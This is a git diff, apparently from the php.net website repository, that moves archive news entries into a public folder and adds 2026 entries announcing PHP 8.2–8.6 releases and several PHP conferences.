public/archive/entries/2025-03-13-5.xml diff --git a/archive/entries/2025-03-14-1.xml b/public/archive/entries/2025-03-14-1.xml similarity index 100% rename from archive/entries/2025-03-14-1.xml rename to public/archive/entries/2025-03-14-1.xml diff --git a/archive/entries/2025-04-10-1.xml b/public/archive/entries/2025-04-10-1.xml similarity index 100% rename from archive/entries/2025-04-10-1.xml rename to public/archive/entries/2025-04-10-1.xml diff --git a/archive/entries/2025-04-10-2.xml b/public/archive/entries/2025-04-10-2.xml similarity index 100% rename from archive/entries/2025-04-10-2.xml rename to public/archive/entries/2025-04-10-2.xml diff --git a/archive/entries/2025-04-10-3.xml b/public/archive/entries/2025-04-10-3.xml similarity index 100% rename from archive/entries/2025-04-10-3.xml rename to public/archive/entries/2025-04-10-3.xml diff --git a/archive/entries/2025-05-08-1.xml b/public/archive/entries/2025-05-08-1.xml similarity index 100% rename from archive/entries/2025-05-08-1.xml rename to public/archive/entries/2025-05-08-1.xml diff --git a/archive/entries/2025-05-08-2.xml b/public/archive/entries/2025-05-08-2.xml similarity index 100% rename from archive/entries/2025-05-08-2.xml rename to public/archive/entries/2025-05-08-2.xml diff --git a/archive/entries/2025-05-12-1.xml b/public/archive/entries/2025-05-12-1.xml similarity index 100% rename from archive/entries/2025-05-12-1.xml rename to public/archive/entries/2025-05-12-1.xml diff --git a/archive/entries/2025-06-04-1.xml b/public/archive/entries/2025-06-04-1.xml similarity index 100% rename from archive/entries/2025-06-04-1.xml rename to public/archive/entries/2025-06-04-1.xml diff --git a/archive/entries/2025-06-05-1.xml b/public/archive/entries/2025-06-05-1.xml similarity index 100% rename from archive/entries/2025-06-05-1.xml rename to public/archive/entries/2025-06-05-1.xml diff --git a/archive/entries/2025-06-05-2.xml b/public/archive/entries/2025-06-05-2.xml similarity index 100% rename from archive/entries/2025-06-05-2.xml rename to public/archive/entries/2025-06-05-2.xml diff --git a/archive/entries/2025-06-06-1.xml b/public/archive/entries/2025-06-06-1.xml similarity index 100% rename from archive/entries/2025-06-06-1.xml rename to public/archive/entries/2025-06-06-1.xml diff --git a/archive/entries/2025-06-09-1.xml b/public/archive/entries/2025-06-09-1.xml similarity index 100% rename from archive/entries/2025-06-09-1.xml rename to public/archive/entries/2025-06-09-1.xml diff --git a/archive/entries/2025-06-11-1.xml b/public/archive/entries/2025-06-11-1.xml similarity index 100% rename from archive/entries/2025-06-11-1.xml rename to public/archive/entries/2025-06-11-1.xml diff --git a/archive/entries/2025-07-03-1.xml b/public/archive/entries/2025-07-03-1.xml similarity index 100% rename from archive/entries/2025-07-03-1.xml rename to public/archive/entries/2025-07-03-1.xml diff --git a/archive/entries/2025-07-03-2.xml b/public/archive/entries/2025-07-03-2.xml similarity index 100% rename from archive/entries/2025-07-03-2.xml rename to public/archive/entries/2025-07-03-2.xml diff --git a/archive/entries/2025-07-03-3.xml b/public/archive/entries/2025-07-03-3.xml similarity index 100% rename from archive/entries/2025-07-03-3.xml rename to public/archive/entries/2025-07-03-3.xml diff --git a/archive/entries/2025-07-03-4.xml b/public/archive/entries/2025-07-03-4.xml similarity index 100% rename from archive/entries/2025-07-03-4.xml rename to public/archive/entries/2025-07-03-4.xml diff --git a/archive/entries/2025-07-03-5.xml b/public/archive/entries/2025-07-03-5.xml similarity index 100% rename from archive/entries/2025-07-03-5.xml rename to public/archive/entries/2025-07-03-5.xml diff --git a/archive/entries/2025-07-17-1.xml b/public/archive/entries/2025-07-17-1.xml similarity index 100% rename from archive/entries/2025-07-17-1.xml rename to public/archive/entries/2025-07-17-1.xml diff --git a/archive/entries/2025-07-30-1.xml b/public/archive/entries/2025-07-30-1.xml similarity index 100% rename from archive/entries/2025-07-30-1.xml rename to public/archive/entries/2025-07-30-1.xml diff --git a/archive/entries/2025-07-31-1.xml b/public/archive/entries/2025-07-31-1.xml similarity index 100% rename from archive/entries/2025-07-31-1.xml rename to public/archive/entries/2025-07-31-1.xml diff --git a/archive/entries/2025-07-31-2.xml b/public/archive/entries/2025-07-31-2.xml similarity index 100% rename from archive/entries/2025-07-31-2.xml rename to public/archive/entries/2025-07-31-2.xml diff --git a/archive/entries/2025-07-31-3.xml b/public/archive/entries/2025-07-31-3.xml similarity index 100% rename from archive/entries/2025-07-31-3.xml rename to public/archive/entries/2025-07-31-3.xml diff --git a/archive/entries/2025-08-08-1.xml b/public/archive/entries/2025-08-08-1.xml similarity index 100% rename from archive/entries/2025-08-08-1.xml rename to public/archive/entries/2025-08-08-1.xml diff --git a/archive/entries/2025-08-10-1.xml b/public/archive/entries/2025-08-10-1.xml similarity index 100% rename from archive/entries/2025-08-10-1.xml rename to public/archive/entries/2025-08-10-1.xml diff --git a/archive/entries/2025-08-14-1.xml b/public/archive/entries/2025-08-14-1.xml similarity index 100% rename from archive/entries/2025-08-14-1.xml rename to public/archive/entries/2025-08-14-1.xml diff --git a/archive/entries/2025-08-20-1.xml b/public/archive/entries/2025-08-20-1.xml similarity index 100% rename from archive/entries/2025-08-20-1.xml rename to public/archive/entries/2025-08-20-1.xml diff --git a/archive/entries/2025-08-25-1.xml b/public/archive/entries/2025-08-25-1.xml similarity index 100% rename from archive/entries/2025-08-25-1.xml rename to public/archive/entries/2025-08-25-1.xml diff --git a/archive/entries/2025-08-28-1.xml b/public/archive/entries/2025-08-28-1.xml similarity index 100% rename from archive/entries/2025-08-28-1.xml rename to public/archive/entries/2025-08-28-1.xml diff --git a/archive/entries/2025-08-28-2.xml b/public/archive/entries/2025-08-28-2.xml similarity index 100% rename from archive/entries/2025-08-28-2.xml rename to public/archive/entries/2025-08-28-2.xml diff --git a/archive/entries/2025-08-28-3.xml b/public/archive/entries/2025-08-28-3.xml similarity index 100% rename from archive/entries/2025-08-28-3.xml rename to public/archive/entries/2025-08-28-3.xml diff --git a/archive/entries/2025-09-03-1.xml b/public/archive/entries/2025-09-03-1.xml similarity index 100% rename from archive/entries/2025-09-03-1.xml rename to public/archive/entries/2025-09-03-1.xml diff --git a/archive/entries/2025-09-07-1.xml b/public/archive/entries/2025-09-07-1.xml similarity index 100% rename from archive/entries/2025-09-07-1.xml rename to public/archive/entries/2025-09-07-1.xml diff --git a/archive/entries/2025-09-08-1.xml b/public/archive/entries/2025-09-08-1.xml similarity index 100% rename from archive/entries/2025-09-08-1.xml rename to public/archive/entries/2025-09-08-1.xml diff --git a/archive/entries/2025-09-11-1.xml b/public/archive/entries/2025-09-11-1.xml similarity index 100% rename from archive/entries/2025-09-11-1.xml rename to public/archive/entries/2025-09-11-1.xml diff --git a/archive/entries/2025-09-23-1.xml b/public/archive/entries/2025-09-23-1.xml similarity index 100% rename from archive/entries/2025-09-23-1.xml rename to public/archive/entries/2025-09-23-1.xml diff --git a/archive/entries/2025-09-25-1.xml b/public/archive/entries/2025-09-25-1.xml similarity index 100% rename from archive/entries/2025-09-25-1.xml rename to public/archive/entries/2025-09-25-1.xml diff --git a/archive/entries/2025-09-25-2.xml b/public/archive/entries/2025-09-25-2.xml similarity index 100% rename from archive/entries/2025-09-25-2.xml rename to public/archive/entries/2025-09-25-2.xml diff --git a/archive/entries/2025-09-25-3.xml b/public/archive/entries/2025-09-25-3.xml similarity index 100% rename from archive/entries/2025-09-25-3.xml rename to public/archive/entries/2025-09-25-3.xml diff --git a/archive/entries/2025-10-03-1.xml b/public/archive/entries/2025-10-03-1.xml similarity index 100% rename from archive/entries/2025-10-03-1.xml rename to public/archive/entries/2025-10-03-1.xml diff --git a/archive/entries/2025-10-08-1.xml b/public/archive/entries/2025-10-08-1.xml similarity index 100% rename from archive/entries/2025-10-08-1.xml rename to public/archive/entries/2025-10-08-1.xml diff --git a/archive/entries/2025-10-09-1.xml b/public/archive/entries/2025-10-09-1.xml similarity index 100% rename from archive/entries/2025-10-09-1.xml rename to public/archive/entries/2025-10-09-1.xml diff --git a/archive/entries/2025-10-09-2.xml b/public/archive/entries/2025-10-09-2.xml similarity index 100% rename from archive/entries/2025-10-09-2.xml rename to public/archive/entries/2025-10-09-2.xml diff --git a/archive/entries/2025-10-23-1.xml b/public/archive/entries/2025-10-23-1.xml similarity index 100% rename from archive/entries/2025-10-23-1.xml rename to public/archive/entries/2025-10-23-1.xml diff --git a/archive/entries/2025-10-23-2.xml b/public/archive/entries/2025-10-23-2.xml similarity index 100% rename from archive/entries/2025-10-23-2.xml rename to public/archive/entries/2025-10-23-2.xml diff --git a/archive/entries/2025-10-23-3.xml b/public/archive/entries/2025-10-23-3.xml similarity index 100% rename from archive/entries/2025-10-23-3.xml rename to public/archive/entries/2025-10-23-3.xml diff --git a/archive/entries/2025-10-31-1.xml b/public/archive/entries/2025-10-31-1.xml similarity index 100% rename from archive/entries/2025-10-31-1.xml rename to public/archive/entries/2025-10-31-1.xml diff --git a/archive/entries/2025-11-06-1.xml b/public/archive/entries/2025-11-06-1.xml similarity index 100% rename from archive/entries/2025-11-06-1.xml rename to public/archive/entries/2025-11-06-1.xml diff --git a/archive/entries/2025-11-13-1.xml b/public/archive/entries/2025-11-13-1.xml similarity index 100% rename from archive/entries/2025-11-13-1.xml rename to public/archive/entries/2025-11-13-1.xml diff --git a/archive/entries/2025-11-20-1.xml b/public/archive/entries/2025-11-20-1.xml similarity index 100% rename from archive/entries/2025-11-20-1.xml rename to public/archive/entries/2025-11-20-1.xml diff --git a/archive/entries/2025-11-20-2.xml b/public/archive/entries/2025-11-20-2.xml similarity index 100% rename from archive/entries/2025-11-20-2.xml rename to public/archive/entries/2025-11-20-2.xml diff --git a/archive/entries/2025-11-20-3.xml b/public/archive/entries/2025-11-20-3.xml similarity index 100% rename from archive/entries/2025-11-20-3.xml rename to public/archive/entries/2025-11-20-3.xml diff --git a/archive/entries/2025-11-30-1.xml b/public/archive/entries/2025-11-30-1.xml similarity index 100% rename from archive/entries/2025-11-30-1.xml rename to public/archive/entries/2025-11-30-1.xml diff --git a/archive/entries/2025-12-17-1.xml b/public/archive/entries/2025-12-17-1.xml similarity index 100% rename from archive/entries/2025-12-17-1.xml rename to public/archive/entries/2025-12-17-1.xml diff --git a/archive/entries/2025-12-18-1.xml b/public/archive/entries/2025-12-18-1.xml similarity index 100% rename from archive/entries/2025-12-18-1.xml rename to public/archive/entries/2025-12-18-1.xml diff --git a/archive/entries/2025-12-18-2.xml b/public/archive/entries/2025-12-18-2.xml similarity index 100% rename from archive/entries/2025-12-18-2.xml rename to public/archive/entries/2025-12-18-2.xml diff --git a/archive/entries/2025-12-18-3.xml b/public/archive/entries/2025-12-18-3.xml similarity index 100% rename from archive/entries/2025-12-18-3.xml rename to public/archive/entries/2025-12-18-3.xml diff --git a/archive/entries/2025-12-18-4.xml b/public/archive/entries/2025-12-18-4.xml similarity index 100% rename from archive/entries/2025-12-18-4.xml rename to public/archive/entries/2025-12-18-4.xml diff --git a/archive/entries/2025-12-18-5.xml b/public/archive/entries/2025-12-18-5.xml similarity index 100% rename from archive/entries/2025-12-18-5.xml rename to public/archive/entries/2025-12-18-5.xml diff --git a/archive/entries/2026-01-14-1.xml b/public/archive/entries/2026-01-14-1.xml similarity index 100% rename from archive/entries/2026-01-14-1.xml rename to public/archive/entries/2026-01-14-1.xml diff --git a/archive/entries/2026-01-15-1.xml b/public/archive/entries/2026-01-15-1.xml similarity index 100% rename from archive/entries/2026-01-15-1.xml rename to public/archive/entries/2026-01-15-1.xml diff --git a/archive/entries/2026-01-15-2.xml b/public/archive/entries/2026-01-15-2.xml similarity index 100% rename from archive/entries/2026-01-15-2.xml rename to public/archive/entries/2026-01-15-2.xml diff --git a/archive/entries/2026-01-15-3.xml b/public/archive/entries/2026-01-15-3.xml similarity index 100% rename from archive/entries/2026-01-15-3.xml rename to public/archive/entries/2026-01-15-3.xml diff --git a/archive/entries/2026-02-09-1.xml b/public/archive/entries/2026-02-09-1.xml similarity index 100% rename from archive/entries/2026-02-09-1.xml rename to public/archive/entries/2026-02-09-1.xml diff --git a/archive/entries/2026-02-12-1.xml b/public/archive/entries/2026-02-12-1.xml similarity index 100% rename from archive/entries/2026-02-12-1.xml rename to public/archive/entries/2026-02-12-1.xml diff --git a/archive/entries/2026-02-12-2.xml b/public/archive/entries/2026-02-12-2.xml similarity index 100% rename from archive/entries/2026-02-12-2.xml rename to public/archive/entries/2026-02-12-2.xml diff --git a/public/archive/entries/2026-03-12-1.xml b/public/archive/entries/2026-03-12-1.xml new file mode 100644 index 0000000000..4f7b7df1fd --- /dev/null +++ b/public/archive/entries/2026-03-12-1.xml @@ -0,0 +1,21 @@ + + + PHP 8.4.19 Released! + https://www.php.net/archive/2026.php#2026-03-12-1 + 2026-03-12T17:28:37+00:00 + 2026-03-12T17:28:37+00:00 + + + + + +

      The PHP development team announces the immediate availability of PHP 8.4.19. This is a bug fix release.

      + +

      All PHP 8.4 users are encouraged to upgrade to this version.

      + +

      For source downloads of PHP 8.4.19 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

      +
      +
      diff --git a/public/archive/entries/2026-03-12-2.xml b/public/archive/entries/2026-03-12-2.xml new file mode 100644 index 0000000000..cf60086038 --- /dev/null +++ b/public/archive/entries/2026-03-12-2.xml @@ -0,0 +1,21 @@ + + + PHP 8.5.4 Released! + https://www.php.net/archive/2026.php#2026-03-12-2 + 2026-03-12T19:11:52+00:00 + 2026-03-12T19:11:52+00:00 + + + + + +

      The PHP development team announces the immediate availability of PHP 8.5.4. This is a bug fix release.

      + +

      All PHP 8.5 users are encouraged to upgrade to this version.

      + +

      For source downloads of PHP 8.5.4 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

      +
      +
      diff --git a/public/archive/entries/2026-04-09-1.xml b/public/archive/entries/2026-04-09-1.xml new file mode 100644 index 0000000000..095ce7f068 --- /dev/null +++ b/public/archive/entries/2026-04-09-1.xml @@ -0,0 +1,21 @@ + + + PHP 8.5.5 Released! + https://www.php.net/archive/2026.php#2026-04-09-1 + 2026-04-09T15:02:48+00:00 + 2026-04-09T15:02:48+00:00 + + + + + +

      The PHP development team announces the immediate availability of PHP 8.5.5. This is a bug fix release.

      + +

      All PHP 8.5 users are encouraged to upgrade to this version.

      + +

      For source downloads of PHP 8.5.5 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

      +
      +
      diff --git a/public/archive/entries/2026-04-09-2.xml b/public/archive/entries/2026-04-09-2.xml new file mode 100644 index 0000000000..832b834cf9 --- /dev/null +++ b/public/archive/entries/2026-04-09-2.xml @@ -0,0 +1,21 @@ + + + PHP 8.4.20 Released! + https://www.php.net/archive/2026.php#2026-04-09-2 + 2026-04-09T15:24:28+00:00 + 2026-04-09T15:24:28+00:00 + + + + + +

      The PHP development team announces the immediate availability of PHP 8.4.20. This is a bug fix release.

      + +

      All PHP 8.4 users are encouraged to upgrade to this version.

      + +

      For source downloads of PHP 8.4.20 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

      +
      +
      diff --git a/public/archive/entries/2026-05-04-1.xml b/public/archive/entries/2026-05-04-1.xml new file mode 100644 index 0000000000..631f525187 --- /dev/null +++ b/public/archive/entries/2026-05-04-1.xml @@ -0,0 +1,29 @@ + + + JetBrains PHPverse 2026 + https://www.php.net/archive/2026.php#2026-05-04-1 + 2026-05-04T10:00:00+00:00 + 2026-05-04T10:00:00+00:00 + + + 2026-06-09 + + phpverse_2026.png + +
      +

      + Join us for JetBrains PHPverse 2026 on June 9 – a global live streaming event dedicated to modern PHP practices and the future of the language. +

      +

      + This year's lineup features talks by renowned voices in the PHP community, including Larry Garfield, Fabien Potencier, Nils Adermann, Elizabeth Barron, and more. You can tune in for the whole day or drop in for the talks that interest you most. See the full program here. +

      +

      + 📅 June 9, 2026
      + 📍 Online – free and open to everyone +

      +

      + In 2025, PHPverse reached over 55,000 developers worldwide — be part of it this year! Register now. +

      +
      +
      +
      diff --git a/public/archive/entries/2026-05-07-1.xml b/public/archive/entries/2026-05-07-1.xml new file mode 100644 index 0000000000..380ee638ff --- /dev/null +++ b/public/archive/entries/2026-05-07-1.xml @@ -0,0 +1,21 @@ + + + PHP 8.3.31 Released! + https://www.php.net/archive/2026.php#2026-05-07-1 + 2026-05-07T13:30:32+00:00 + 2026-05-07T13:30:32+00:00 + + + + + +

      The PHP development team announces the immediate availability of PHP 8.3.31. This is a security release.

      + +

      All PHP 8.3 users are encouraged to upgrade to this version.

      + +

      For source downloads of PHP 8.3.31 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

      +
      +
      diff --git a/public/archive/entries/2026-05-07-2.xml b/public/archive/entries/2026-05-07-2.xml new file mode 100644 index 0000000000..9b90cf73f7 --- /dev/null +++ b/public/archive/entries/2026-05-07-2.xml @@ -0,0 +1,21 @@ + + + PHP 8.4.21 Released! + https://www.php.net/archive/2026.php#2026-05-07-2 + 2026-05-07T15:34:42+00:00 + 2026-05-07T15:34:42+00:00 + + + + + +

      The PHP development team announces the immediate availability of PHP 8.4.21. This is a security release.

      + +

      All PHP 8.4 users are encouraged to upgrade to this version.

      + +

      For source downloads of PHP 8.4.21 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

      +
      +
      diff --git a/public/archive/entries/2026-05-07-3.xml b/public/archive/entries/2026-05-07-3.xml new file mode 100644 index 0000000000..561ba8065d --- /dev/null +++ b/public/archive/entries/2026-05-07-3.xml @@ -0,0 +1,21 @@ + + + PHP 8.2.31 Released! + https://www.php.net/archive/2026.php#2026-05-07-3 + 2026-05-07T15:41:42+00:00 + 2026-05-07T15:41:42+00:00 + + + + + +

      The PHP development team announces the immediate availability of PHP 8.2.31. This is a security release.

      + +

      All PHP 8.2 users are encouraged to upgrade to this version.

      + +

      For source downloads of PHP 8.2.31 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

      +
      +
      diff --git a/public/archive/entries/2026-05-07-4.xml b/public/archive/entries/2026-05-07-4.xml new file mode 100644 index 0000000000..a2ad8fd827 --- /dev/null +++ b/public/archive/entries/2026-05-07-4.xml @@ -0,0 +1,21 @@ + + + PHP 8.5.6 Released! + https://www.php.net/archive/2026.php#2026-05-07-4 + 2026-05-07T17:59:54+00:00 + 2026-05-07T17:59:54+00:00 + + + + + +

      The PHP development team announces the immediate availability of PHP 8.5.6. This is a security release.

      + +

      All PHP 8.5 users are encouraged to upgrade to this version.

      + +

      For source downloads of PHP 8.5.6 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

      +
      +
      diff --git a/public/archive/entries/2026-05-11-1.xml b/public/archive/entries/2026-05-11-1.xml new file mode 100644 index 0000000000..1f473a61c8 --- /dev/null +++ b/public/archive/entries/2026-05-11-1.xml @@ -0,0 +1,19 @@ + + + Longhorn PHP 2026 - Call For Papers + https://www.php.net/archive/2026.php#2026-05-11-1 + 2026-05-11T22:03:37+00:00 + 2026-05-11T22:03:37+00:00 + + + 2026-06-30 + + longhornphp.png + +
      +

      Longhorn PHP is back, with a slightly updated format - this year our conference in Austin, TX, will feature a tutorial day (Thursday, October 15), followed by a main conference day (Friday, October 16). We are currently accepting talk and tutorial submissions. While the CFP is open, we also have our Blind Bird tickets available for sale.

      +

      Register today!

      +

      Follow us on Mastodon signup for emails at longhornphp.com to get notified with important conference updates.

      +
      +
      +
      diff --git a/public/archive/entries/2026-06-01-1.xml b/public/archive/entries/2026-06-01-1.xml new file mode 100644 index 0000000000..03b007131a --- /dev/null +++ b/public/archive/entries/2026-06-01-1.xml @@ -0,0 +1,44 @@ + + + Laracon US 2026 + https://www.php.net/archive/2026.php#2026-06-01-1 + 2026-06-01T16:50:29+00:00 + 2026-06-01T16:50:29+00:00 + + + 2026-07-29 + + laraconus2026.jpg + +

      + Laracon US 2026 is the flagship Laravel conference, returning to the East Coast on July 28-29, 2026 at the SoWa Power Station in Boston, Massachusetts. +

      +

      + Join Laravel and PHP developers from around the world for two days of world-class talks, hands-on learning, and community connection. Come ready to level up, leave ready to ship. +

      +Information:
      +
        +
      • July 28-29, 2026
      • +
      • SoWa Power Station, 550 Harrison Ave, Boston, MA, USA
      • +
      • 14+ confirmed speakers, including Taylor Otwell and Nuno Maduro
      • +
      +

      + Additional events like: +

      + +

      + Plus an after party, VIP dinner, and The Vibes with NativePHP are happening throughout the week. +

      +

      + For full information and schedule, visit Laracon US 2026. +

      +

      + You can also find us on X / Twitter. +

      +
      +
      +
      diff --git a/public/archive/entries/2026-06-04-1.xml b/public/archive/entries/2026-06-04-1.xml new file mode 100644 index 0000000000..e99ab3b701 --- /dev/null +++ b/public/archive/entries/2026-06-04-1.xml @@ -0,0 +1,21 @@ + + + PHP 8.5.7 Released! + https://www.php.net/archive/2026.php#2026-06-04-1 + 2026-06-04T14:05:37+00:00 + 2026-06-04T14:05:37+00:00 + + + + + +

      The PHP development team announces the immediate availability of PHP 8.5.7. This is a bug fix release.

      + +

      All PHP 8.5 users are encouraged to upgrade to this version.

      + +

      For source downloads of PHP 8.5.7 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

      +
      +
      diff --git a/public/archive/entries/2026-06-04-2.xml b/public/archive/entries/2026-06-04-2.xml new file mode 100644 index 0000000000..87db599bd3 --- /dev/null +++ b/public/archive/entries/2026-06-04-2.xml @@ -0,0 +1,21 @@ + + + PHP 8.4.22 Released! + https://www.php.net/archive/2026.php#2026-06-04-2 + 2026-06-04T22:14:47+00:00 + 2026-06-04T22:14:47+00:00 + + + + + +

      The PHP development team announces the immediate availability of PHP 8.4.22. This is a bug fix release.

      + +

      All PHP 8.4 users are encouraged to upgrade to this version.

      + +

      For source downloads of PHP 8.4.22 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

      +
      +
      diff --git a/public/archive/entries/2026-07-02-1.xml b/public/archive/entries/2026-07-02-1.xml new file mode 100644 index 0000000000..2f57a5b668 --- /dev/null +++ b/public/archive/entries/2026-07-02-1.xml @@ -0,0 +1,21 @@ + + + PHP 8.2.32 Released! + https://www.php.net/archive/2026.php#2026-07-02-1 + 2026-07-02T12:03:54+00:00 + 2026-07-02T12:03:54+00:00 + + + + + +

      The PHP development team announces the immediate availability of PHP 8.2.32. This is a security release.

      + +

      All PHP 8.2 users are encouraged to upgrade to this version.

      + +

      For source downloads of PHP 8.2.32 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

      +
      +
      diff --git a/public/archive/entries/2026-07-02-2.xml b/public/archive/entries/2026-07-02-2.xml new file mode 100644 index 0000000000..256d4e3480 --- /dev/null +++ b/public/archive/entries/2026-07-02-2.xml @@ -0,0 +1,21 @@ + + + PHP 8.3.32 Released! + https://www.php.net/archive/2026.php#2026-07-02-2 + 2026-07-02T16:38:37+00:00 + 2026-07-02T16:38:37+00:00 + + + + + +

      The PHP development team announces the immediate availability of PHP 8.3.32. This is a security release.

      + +

      All PHP 8.3 users are encouraged to upgrade to this version.

      + +

      For source downloads of PHP 8.3.32 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

      +
      +
      diff --git a/public/archive/entries/2026-07-02-3.xml b/public/archive/entries/2026-07-02-3.xml new file mode 100644 index 0000000000..17c4c3d2d5 --- /dev/null +++ b/public/archive/entries/2026-07-02-3.xml @@ -0,0 +1,22 @@ + + + PHP 8.6.0 Alpha 1 available for testing + https://www.php.net/archive/2026.php#2026-07-02-3 + 2026-07-02T17:00:52+00:00 + 2026-07-02T17:00:52+00:00 + + + + +
      +

      The PHP team is pleased to announce the first testing release of PHP 8.6.0, Alpha 1. This starts the PHP 8.6 release cycle, the rough outline of which is specified in the PHP Wiki.

      +

      For source downloads of PHP 8.6.0 Alpha 1 please visit the download page.

      +

      Please carefully test this version and report any issues found in the GitHub Issues.

      +

      Please DO NOT use this version in production, it is an early test version.

      +

      For more information on the new features and other changes, you can read the NEWS file, or the UPGRADING file for a complete list of upgrading notes. These files can also be found in the release archive.

      +

      The next release will be Alpha 2, planned for 16 July 2026.

      +

      The signatures for the release can be found in the manifest or on the pre-release builds page.

      +

      Thank you for helping us make PHP better.

      +
      +
      +
      diff --git a/public/archive/entries/2026-07-02-4.xml b/public/archive/entries/2026-07-02-4.xml new file mode 100644 index 0000000000..8a20b09272 --- /dev/null +++ b/public/archive/entries/2026-07-02-4.xml @@ -0,0 +1,21 @@ + + + PHP 8.4.23 Released! + https://www.php.net/archive/2026.php#2026-07-02-4 + 2026-07-02T17:24:56+00:00 + 2026-07-02T17:24:56+00:00 + + + + + +

      The PHP development team announces the immediate availability of PHP 8.4.23. This is a security release.

      + +

      All PHP 8.4 users are encouraged to upgrade to this version.

      + +

      For source downloads of PHP 8.4.23 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

      +
      +
      diff --git a/public/archive/entries/2026-07-02-5.xml b/public/archive/entries/2026-07-02-5.xml new file mode 100644 index 0000000000..625041a438 --- /dev/null +++ b/public/archive/entries/2026-07-02-5.xml @@ -0,0 +1,21 @@ + + + PHP 8.5.8 Released! + https://www.php.net/archive/2026.php#2026-07-02-5 + 2026-07-02T19:55:50+00:00 + 2026-07-02T19:55:50+00:00 + + + + + +

      The PHP development team announces the immediate availability of PHP 8.5.8. This is a security release.

      + +

      All PHP 8.5 users are encouraged to upgrade to this version.

      + +

      For source downloads of PHP 8.5.8 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

      +
      +
      diff --git a/public/archive/entries/2026-07-07-1.xml b/public/archive/entries/2026-07-07-1.xml new file mode 100644 index 0000000000..acbfa7f02e --- /dev/null +++ b/public/archive/entries/2026-07-07-1.xml @@ -0,0 +1,23 @@ + + + PHP Tek 2027 + https://www.php.net/archive/2026.php#2026-07-07-1 + 2026-07-07T16:47:27+00:00 + 2026-07-07T16:47:27+00:00 + + + 2027-08-31 + + php-tek-2027.png + +
      +

      Join us for the 19th Annual Web Developer Conference, PHP Tek 2027, April 27-29 2026.

      + +

      PHP Tek combines leadership, expertise, and networking in one event. A relaxing atmosphere for tech leaders and developers to share, learn and grow professionally while also providing you with the knowledge to solve your everyday problems.

      + +

      We are the longest-running web developer conference in the United States, focusing on the PHP programming language. The event is broken up into multiple days. The main conference happens over the course of 3 days (April 27-29) and includes keynotes, talks, and networking options. It will be broken into three tracks and will cover a range of topics. There will be two dedicated PHP Tracks, and then each day will have a different 3rd track (JS/Laravel/DevOps)

      + +

      Head over to https://phptek.io and get yours today!

      +
      +
      +
      diff --git a/public/archive/entries/2026-07-13-1.xml b/public/archive/entries/2026-07-13-1.xml new file mode 100644 index 0000000000..870a4491e5 --- /dev/null +++ b/public/archive/entries/2026-07-13-1.xml @@ -0,0 +1,52 @@ + + + International PHP Conference Munich 2026 + https://www.php.net/archive/2026.php#2026-07-13-1 + 2026-07-13T17:01:37+00:00 + 2026-07-13T17:01:37+00:00 + + + 2026-10-26 + + IPC.png + +
      +

      + The International PHP Conference + is the world's first PHP conference and has stood for more than two decades for top-notch + pragmatic expertise in PHP and web technologies. At the IPC, internationally renowned + experts from the PHP industry meet up with PHP users and developers from large and small + companies. Here is the place where concepts emerge and ideas are born – the IPC signifies + knowledge transfer at the highest level. +

      + +

      Basic facts:

      + +

      + Date: October 26 – 30, 2026 +

      + +

      + Location: Holiday Inn Munich City Centre, Munich or Online +

      + +

      Highlights:

      +
        +
      • 60+ best practice sessions
      • +
      • 50+ international top speakers
      • +
      • PHPower: Hands-on Power Workshops
      • +
      • 2-Day Bootcamp on Thursday and Friday
      • +
      • Expo with exciting exhibitors on October 27 & 28
      • +
      • All inclusive: Changing buffets, snacks & refreshing drinks
      • +
      • Official certificate for attendees
      • +
      • Free Goodies: Developer bag, T-Shirt, magazines etc.
      • +
      • Exclusive networking events
      • +
      + +

      + For further information on the International PHP Conference Munich visit: + https://phpconference.com/munich/ +

      +
      +
      +
      diff --git a/public/archive/entries/2026-07-16-1.xml b/public/archive/entries/2026-07-16-1.xml new file mode 100644 index 0000000000..6c8cef04c1 --- /dev/null +++ b/public/archive/entries/2026-07-16-1.xml @@ -0,0 +1,22 @@ + + + PHP 8.6.0 Alpha 2 available for testing + https://www.php.net/archive/2026.php#2026-07-16-1 + 2026-07-16T13:28:29+00:00 + 2026-07-16T13:28:29+00:00 + + + + +
      +

      The PHP team is pleased to announce the second testing release of PHP 8.6.0, Alpha 2. This continues the PHP 8.6 release cycle, the rough outline of which is specified in the PHP Wiki.

      +

      For source downloads of PHP 8.6.0 Alpha 2 please visit the download page.

      +

      Please carefully test this version and report any issues found in the GitHub Issues.

      +

      Please DO NOT use this version in production, it is an early test version.

      +

      For more information on the new features and other changes, you can read the NEWS file, or the UPGRADING file for a complete list of upgrading notes. These files can also be found in the release archive.

      +

      The next release will be Alpha 3, planned for 30 July 2026.

      +

      The signatures for the release can be found in the manifest or on the pre-release builds page.

      +

      Thank you for helping us make PHP better.

      +
      +
      +
      diff --git a/public/archive/entries/2026-07-30-1.xml b/public/archive/entries/2026-07-30-1.xml new file mode 100644 index 0000000000..9d916ec535 --- /dev/null +++ b/public/archive/entries/2026-07-30-1.xml @@ -0,0 +1,21 @@ + + + PHP 8.2.33 Released! + https://www.php.net/archive/2026.php#2026-07-30-1 + 2026-07-30T11:00:24+00:00 + 2026-07-30T11:00:24+00:00 + + + + + +

      The PHP development team announces the immediate availability of PHP 8.2.33. This is a security release.

      + +

      All PHP 8.2 users are encouraged to upgrade to this version.

      + +

      For source downloads of PHP 8.2.33 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

      +
      +
